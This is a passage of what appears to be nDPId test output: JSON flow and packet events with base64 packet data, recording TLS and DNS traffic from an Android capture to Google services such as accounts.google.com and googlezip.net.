{"version":"TLSv1.3","client_requested_server_name":"proxy.googlezip.net","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02350{"flow_id":51,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":657707,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+n7EAAHUGHKus2RRMwKgCEAG7qnIP+mfUfYCWk4AQAPAQIgAAAQEICpFK4Ff\/\/zdLqLgvwQsz5nuRH9DV7caoFdCHBSrOHMKMu3egajSHr8A\/4suOs2GODldjd3\/BZDeHGCaeTDaufj3j\/kjn7ksr6N4PnA1KHq6A3Nh7uRxg+OkKc84WQKURsNx1N7rf754xOJeBZ3BzRcqkHQmv3uSRH8N0EotoqTqifMFUF1a6MVyTU5zdDopBVDfXY4y1Gq6SLorPmYduc7UGkFy8kP2WpEL4603P4goYqry11nQdy1b1\/wdmBtn+vIhYDThJhj9pyA\/3S9SgUDJ\/yIof2wb6U7yUXyautg5PggX5dnVf6aDs6Mwaet06C87AYnyhDQrRZZWa7xo7eTQgK7z8GPQT8TIXV107uHawij7FDQdsNTxxqcJ8JIAUoYZHMgO7wcBrT\/aN0E\/rQkBrWCfJdYcBJGYBeXFCc5qv7MbXvL9saYbCbQyKcCY\/\/X7YkAY66DI9Oy3FrXUimebEdG92PgOkLqTorwgeZ\/h1cC5zVRzM+hqYlxznaihfUxzzA7U9zNY3YAarMRAwjqTwaupdtt6AvPBk3SLnhFBQAJgFSJ8gU8O9dUyEYqvkqv3Z\/pv6bQaP24XFSF4fwzTwrKflTh8Cn5vkafo0IxG5yVgghgpqIhZftjwNTLUAQgbHRVtfVmRhgPFqDvubD1Clx8fat4NpNF4+8iDDUGV726sOmJl+1Foo+aCzDi4n2I6ZC5Q0gih3jEs9dYbMIWr82+D8mqwTlVJf6voYuYpn7Q5q+yR2uTGj0vUNBIlIuSM6rna5D7MQ31vHidSIb8NNq\/GPv64DFu9ZJQpWv2Hpt4a1BJ\/TewZgP1p3MFw6+kmIgKQFjFesBR3JbgwgKkkiWMcmhN+Gp1n0p\/xzcahmDiqfK0XvmVrhT5M+tKiur1fqnCrvFxn5uzXPjXMYAg23iIv1j+92DYeAfsODR+2NVfSSM7VzeSyJpttOEmw06TLnVi2rocnoc4ddzLMFjRzbBAIFpbT8PkiUUOPgB8cbjboPbxzITYaa9NNmee8cwolxxJKut8o5E6slvI6tRjgZgQKvONHjoqYkBXImMyF9YAzLyKhe8wpP4H2NoGVBB5EvoerATnoME+EyjThmcq4j4zNf2b6+4opfvgyO0T9XgMjRDaqrIcIZOVxQgmZLTCzBI1tHvNU7QqWAQAo+PWdf\/27wBGqnZObwsribrd5JRVVzlKn\/bTdO\/F+ExjOQsbNH8uAgE6O5oIKk5p8654erBNA2i3QZadCUHYPbgN\/i6oX3BWSLscr8y2qGzy0udJIQKlqEQnKiRCT\/RcTmNGo5hbgnpWUNO35R8CAWTQslrOuXxPoreVgSwXGs+39s\/VvlmRBU4ccYjb3YJ8jlYvD7Ae43af0OdXu8EPBtPIltQtClVRrwY6Pu+9TKjrgmbeTypoigVCsJradiVgna+txFSR28Kozh9LeekPFT4Dw2IyBz8bQzbm7jrAoiilSC6w0BkZxRhLhIn8miXDKVqbG7zD7+HwvM7cNRRuU8DRyrPTRCV+Tqc62qRtnPkCGdOtLIKJQVVoJ0AlQc72uGKGRSKbhOlg\/Du+A+gIkx+TJ17RRebltDjGvJuflUx8Psuny83ezbKc575EMk7gElY+0+kqd5X7doNjCii9type77siEUFzRbWfh09gCQOfASJDiky5+uRlmmueWhFN9NBpg5Mz8UPPML\/4O6g2NoSKUajPyGbPzXf7lCGqpHG0B1NzReenex9p8bl29a2CZvcoAPwVVBfqAoM1WYKsWO6fFMQULlibzBFBgV2bI29Zh\/xgDn+D9BpzwHFSSL3GOVE8xPVyWBa9kZbZIoun76mMumf5mrrHAc1hoXdgGFpUnP5bgKNZA8wGsQSRXHs9jLfw6RzFDk8wRX8K+z2Mtihhs6+d4="} +00732{"flow_id":51,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":657777,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"TGr2n\/YnxiwDYGpkCABFAAEQn7IAAHUGIVis2RRMwKgCEAG7qnIP+m1efYCWk4AYAPBrTgAAAQEICpFK4Ff\/\/zdLhZxPPl5g12SWR76o8mqaRhsahZZepmW088pypBWFGvuk7y0AUpNhokLZK1\/u06Xyo+4eMIMfWhu3AS\/4G4uJSMvcDp0pZZO\/E2pukUrNQJWBpomkGEbyq3FyS6A+VWn258iXtUs1w8X8IcXms8uWTo\/rpuXEf9hwHjuEB1\/Y+uM7wGtfibiHKyD1JkLzRtMypBL72dCHVnhlQLQesuCRQJL3udVVPbBKtkCkEYRXyxUdcHa8g4yWoQJ9qi1r1Vyl1tuA0VowniC5eSQrw88pwrRxtt32+0kvrXX42g=="} +00411{"flow_id":51,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":658879,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAoVqFAAEAGYFHAqAIQrNkUTKpyAbt9gJaTAAAAAFAEAABrwQAA"} +00411{"flow_id":51,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":659071,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAoVqJAAEAGYFDAqAIQrNkUTKpyAbt9gJaTAAAAAFAEAABrwQAA"} +00412{"flow_id":51,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":659181,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAoVqNAAEAGYE\/AqAIQrNkUTKpyAbt9gJaTAAAAAFAEAABrwQAA"} +00430{"flow_id":51,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":664677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0n7kAAHUGIi2s2RRMwKgCEAG7qnIP+m46fYCWlIARAPAKfwAAAQEICpFK4F\/\/\/zdO"} +00411{"flow_id":51,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":667034,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAoVqRAAEAGYE7AqAIQrNkUTKpyAbt9gJaUAAAAAFAEAABrwAAA"} +01129{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":357,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":671535,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5E0tAAEAGY1TAqAIQ2O8meIDqAbtXpCQFBCFopIAYAVf46AAAAQEICv\/\/N1mpXP8lFgMBAgABAAH8AwOnqdAL3NdvDJFQu00MJRohbBr\/QjZxpgAY\/BGSZ5WHGyAH\/0kdSaWWl14l1kSxYkKqhEzX\/PL9dJ3FIy4nXY+zSwAi+voTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZFaWgAAAAAAGAAWAAATYWNjb3VudHMuZ29vZ2xlLmNvbQAXAAD\/AQABAAAKAAoACEpKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQASAAAAMwArAClKSgABAAAdACAb6mJErdFzNWCA7OLn3TVZSxKHowP8hLIwdOOd3\/6PSQAtAAIBAQArAAsKKioDBAMDAwIDAQAbAAMCAAKamgABAAAVAMUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00794{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":357,"source":"android.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1582454871623,"flow_last_seen":1582454871671,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":33002,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"accounts.google.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":358,"source":"android.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1582454871676,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":33240,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":676950,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBrABAAEARCUrAqAIQwKgCAYHYADUALeidI0IBAAABAAAAAAAABWNoZWNrCWdvb2dsZXppcANuZXQAAAEAAQ=="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":358,"source":"android.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1582454871676,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":33240,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"check.googlezip.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":677331,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRtlYAAEARPuTAqAIBwKgCEAA1gdgAPR0+I0KBgAABAAEAAAAABWNoZWNrCWdvb2dsZXppcANuZXQAAAEAAcAMAAEAAQAAAQMABK3CT3I="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":359,"source":"android.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":2,"flow_first_seen":1582454871676,"flow_last_seen":1582454871677,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":33240,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"check.googlezip.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"173.194.79.114"}} +00429{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":684801,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0YMIAAHYGIeLY7yZ4wKgCEAG7gOoEIWikV6QmCoAQAPBmhwAAAQEICqlc\/1b\/\/zdZ"} +02357{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":702687,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+YMQAAHYGHFbY7yZ4wKgCEAG7gOoEIWikV6QmCoAQAPAQwAAAAQEICqlc\/2f\/\/zdZFgMDAHoCAAB2AwPJv2kpRk5kOUnM2HOXTe5Yod0GBxnMyzCAyovUjyXAaSAH\/0kdSaWWl14l1kSxYkKqhEzX\/PL9dJ3FIy4nXY+zSxMBAAAuADMAJAAdACCgX8U2R1v7oA9Np4c3Oz7YFWZYN1sGxrATsrrnJaLEPQArAAIDBBQDAwABARcDAwtbCryhviK6rd70FfhdvqSrUX2UBHBS3nznbhwDa90nR8uM+b6CRbS2Vf3jreDvrYWrJMHAldbVALpa+VJuZl5DIM7xBbWLmLbQgNl1Wx\/8BlaA9MHzLPAmhGJLmvmrwoXdvuDtutplCDDlqmRWN7QZqknTjwBZ\/7e5noFL7L38N0V5T9vA0x5xQutrKvREjbkvxnXuH6bT\/\/T8HKlF9RMuTdwlaOFfGd6vAMAstYO2Z9QTl89ER1PNz6QhqKVcZtn9Owz0qf9d8Oel7OnbbR0u6loXcg3+az74yvdTIRI9dnRtYgZyxIW5Ln7JcBGQsyHaUWsXCKYEZSq1gM3QviFwW4iq6oeiZSPuYuwVVJCd6dxaIKGWzguTdKbMWICG9v7kTtetGA\/\/ge74b7VlB5QT1Q6+GA0Of+NljN8pFMixNNsme15H9FnSPbODaWQjmwVuqw+qnLbnMGvFSdC7JrR0s597NCtAlBp6yeGizENvpjjJm7+tGeFLXBARfgVyVFyxdk\/LAsuYtFX9ADYZEtVUJlTS7MzRdhghU34TQxGT+kkc3EI++enUCul0Jqtp3Xpz80LQZb1c87V+hOBNk974hnZkJ8BQOuDhKY6aUOUJaM2jKTujD\/FowD031\/uwLtunkTjIwLZPAMXXbz4qegXEP3nzI0DNboFqZxCS5qNje\/gQ43H6ziCDd7CJWfHjeZpHUgJnORG2En\/r4VjreI3PMzCzs9meVVpQCpi7\/lDmv3HbWlApHYX0dHwWOrC2QJWPJh8xkvmqnvyht2VX281JAzY3YnLX8xHJ8XFhg9E0FbachvwDEQP2QWgonJvKSp3BLbeOQlZpsr\/3UYQgbVAIf7alUJmrW2g9alp2Vx61hDpznqmHFXb8IkVvu5+5TS1c+1Zpc1tIZmJB2OVd11JRFdxGaRLa573+wmCAetK0iGgA2llBMoAtbgBF1oG+bLyzZJufrPhpO7iPBMx7lYsgiHASrjOteWSa6hMZa2P0xntrmtaUz1MRIIFvPkUHBwVxx+gG5g\/lHy32\/peF\/JVurqo3snJtctn23Uq4VfoZDdTSMREU8\/Ju1yW0Ige6oB37Yxv2hRtf4HquxZOOc\/REHSO1jTsCEg7MHgh40cXOkvB\/1pxotJSM2oa6INQZNbUl1vj+Lz0FgyWI8uxmSjNDnvoba3mxs\/Rocv0YesTP3m4GafAcT8aWBCwbpkKH4vRzezWZfMora0YQjZNBOWMF6AnvY5JOLmwFWgz1waqETy7Jk\/Kg7oq\/jm2iskmBQzDm8jiot76CHs6pv99DlUIYFcZ7tRcl6i0rH6l9YXdwJYBGpFmDpDjRgVimWJ5JrsyQ5boRxMimNjknLtSRlt24w4v+KcM2byUA698KF63Mb0PxMzXSNqgKa2b7ucmXA1UTOmzy\/oj0lcIlbZPkMDsSDpBoiTLX0\/zi4FJiJnQ1VZ0RnOXFNCUPWxVAgE8lsZxFLwEGg3L4vhjfAL0stabrPVlHiIydyZZAtcD4Zyc65UGPACS+sGGVF2GDuydrJY4E7OfTaqf4x3OGD9sFW8CjYKvcDoS16y7MTJWnnzIOlp9NqZkBOXLaWM86sr3hg\/DrSt3D6OB8aaKCrqGKoS3oENL9kyJc\/fYZWgzgveOQRBA5I2doP4HG5ASSmuTiMY9OZjujGEQsrPURHKRc6yI\/hsZ\/3zWx78UWFQbyOrCgW7U="} +00835{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":361,"source":"android.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":6,"flow_first_seen":1582454871623,"flow_last_seen":1582454871702,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":33002,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"accounts.google.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02357{"flow_id":53,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":703713,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+YMUAAHYGHFXY7yZ4wKgCEAG7gOoEIW4uV6QmCoAQAPC6UwAAAQEICqlc\/2f\/\/zdZfiK+WJwsxBYmGTn1qaVgqL4IYylqnn\/Lq1zdC4mzB1Yy0c7Ekclg6PVka7l1Bdthap+1Gd6xAmTQCs49WibwnzDNYYs+EyUks0izRk\/6SVsM3kVt4D2vZLb0Qx0EbHt3ifthygGQN4raVoeYg0f1YI86iYv9+cLlbTi+Xjq42yyxCIQXxogJARHfyY2UGZFLX18yXFrcvuYUEtxKNeml0m5AElP3i\/SQhv1esmUzfPQUDjxO76Hb+GzvJ02hD1Z5XPohx+CEmDUgbslB1DldLYHzy9uA7g2JMs2WUfeYcUJsCLnYNRXFEY5YgDwnyw12TCtHeTrbDmcP7fq1Wa+u5EViwIDuVb\/+ozitr0mUKif3a\/hbYj0hgU5W46p+fTKJKeXImhGmluWtb3xFOFhi2QeDbH19jLJSr2g8mF9oZh5eqT3pvXsPzpbtlpKZTcv+bz6s7CNlXRQj+4GWUPBMe4lCZMKHuyFMnAZQI\/umK+Wp0C1M+CK1wLiRJRADyBSKN3Iyyx7wTCNciWokIf4LyK9hhHeyJym1rztAgCi2F7AdMG84lrxavlkPUMqpUq1Kr8ip81DpPc3GxFNIORoOYNZnLujkSccFHxGw370GBqlKaQR\/8BoRIN\/jKQOgECcSMTgPOQTlN00UkI2bBbsThda1H6TVEbTdxGH7TERIPZogdX0eTNNJ1gGbVfXJW53C+QgkIsAOPfDxHmXZuiHecZVTTah8c0GUaymFF8iVE8aBFpoKh3GbfJi7u3zme4c7C1gDxm0FbznTLdFYgYQ+iFgiiBBYlXQBVo9vuodi9b6AJic\/1rFzMhIcIWxLEqZUUnPAIKSY7M44lSvUTDTm3JEt0PfKOwbgBAnupWivQsJaleGhScqwWfueFK4xdYtdf49rITs9ZNQugEv83FUJcciWkmNgzmzra3i8wwq7PRBxd0YwX3EpbrQuV8OJIBmq\/awg\/BpzSdrpI5We3d333A1zUyfRMZ3fT+HwE7\/IMGlNEcdg2CRkAXypv1oTxg33EdBaae+A1x2aqoOWa2EgqWqzQBulfG2veFY0roT272lLuF0hJIlexxk2t3GtpoBA\/iqHncabaAolegSIzXJTSED3Vat4FClT\/6mANxsZ2aUoUCE0YzbrXZAkcuTN3bHxeqZ7sJKr0hEkKc0bNW04MWJ40bwrrtZo7M5RFOvSOWm8ArURk3Prz\/hEckpuh6uxtXhHx8p5YoveWp0Yh6oIZNmee+4EOf2U+eo8la5udpMXqMqxwJScGw\/IG+1XEHRvbVRh\/9MSsVUMsUu4n07EAs+ZVskg3PnshEUzZWkMOpAOO\/ZAq8T\/6E3HKvxor1ujf\/skHCnobTzJd\/zBYEHGIwcBZpv4jhrUzFSME3BRP+92Hu001j+89F9DRpTjPDimdqOx+D1jMtDXaIzcqbU31e+SkD1Cm3KrNcojoW5m\/cRtvkUtSmBUa7SXoLwMV52hWvVCnJ1xU\/+CmNR67CP\/1ZXRiW7LysEh4Cy26USUeJwNV8vdxRUp2EJ4GklIObpBLooaN+cln8nawsYz2R5DrSLgiN7AQbQ0MQ9SaUriMpwq\/yBiR6DGQJTcyWFjUxEKpI7XjiWCHyWXUgSh7m6ZikwMawndcM4AEzUXTywdiFPb\/JcOZjAS+T+j+S6QetHffxBm+c\/mWdCgDsivdzAHA\/CKm\/HZZji4QiQlgtudp9rDiBbpDaty13Rl8V6DcFIOlFUdJemkbnxSmGP8eBegoMnwGJlPoA6t5YFMRtDkkziZ22cPYxPYvtqJxa7tZ5s83yC6PeVa56eSvPrNgd7rjf5G8MFgLDnrdT09bXguJVyQGdd\/JWshx9kETD+BLP0tFriIOkff5qfSD+ZyCptLqFfI89OH+plr4pY="} +00716{"flow_id":53,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":703716,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"TGr2n\/YnxiwDYGpkCABFAAEFYMYAAHYGIQ3Y7yZ4wKgCEAG7gOoEIXO4V6QmCoAYAPDmjgAAAQEICqlc\/2f\/\/zdZFInUiXd0kaYEdpcxleOS67gYnABGoCxqGAj2L6oEmIFGVoq\/Or1R\/UMCz28Vrm5swFo0M5+A8ibBsdRBrp4O9r8uMau1rSvUHb8Iq6L67JL1a744dtYrLnMMJ4A\/F6rcIxHrIVX0YhsMQxLeS70ceTQlbaTd5B1b9RQnxBddLAebAqW5398qiLSuU2DTlrzu18ELxtiXzFkIVdhNCF0T23rYqcvvclDZ14CHSE\/FLMpN9Ab6zW2Jx2SQxY4v2o68vWtF39FLsKwzN4c7nKbSbD0="} +00428{"flow_id":53,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":704173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0E0xAAEAGZVjAqAIQ2O8meIDqAbtXpCYKBCFuLoAQAWJgcgAAAQEICv\/\/N2GpXP9n"} +00429{"flow_id":53,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":704809,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0E01AAEAGZVfAqAIQ2O8meIDqAbtXpCYKBCFzuIAQAW1a3QAAAQEICv\/\/N2GpXP9n"} +00429{"flow_id":53,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":704925,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0E05AAEAGZVbAqAIQ2O8meIDqAbtXpCYKBCF0iYAQAW1aDAAAAQEICv\/\/N2GpXP9n"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":367,"source":"android.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1582454871741,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.74","src_port":52514,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":741833,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8FotAAEAGoFXAqAIQrNkUSs0iAbsOnCHhAAAAAKAC\/\/+NXgAAAgQFtAQCCAr\/\/zdqAAAAAAEDAwg="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":368,"source":"android.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1582454871745,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"173.194.79.114","src_port":36848,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":745826,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8bVhAAEAGDXfAqAIQrcJPco\/wAFDXL1ozAAAAAKAC\/\/+PAwAAAgQFtAQCCAr\/\/zdrAAAAAAEDAwg="} 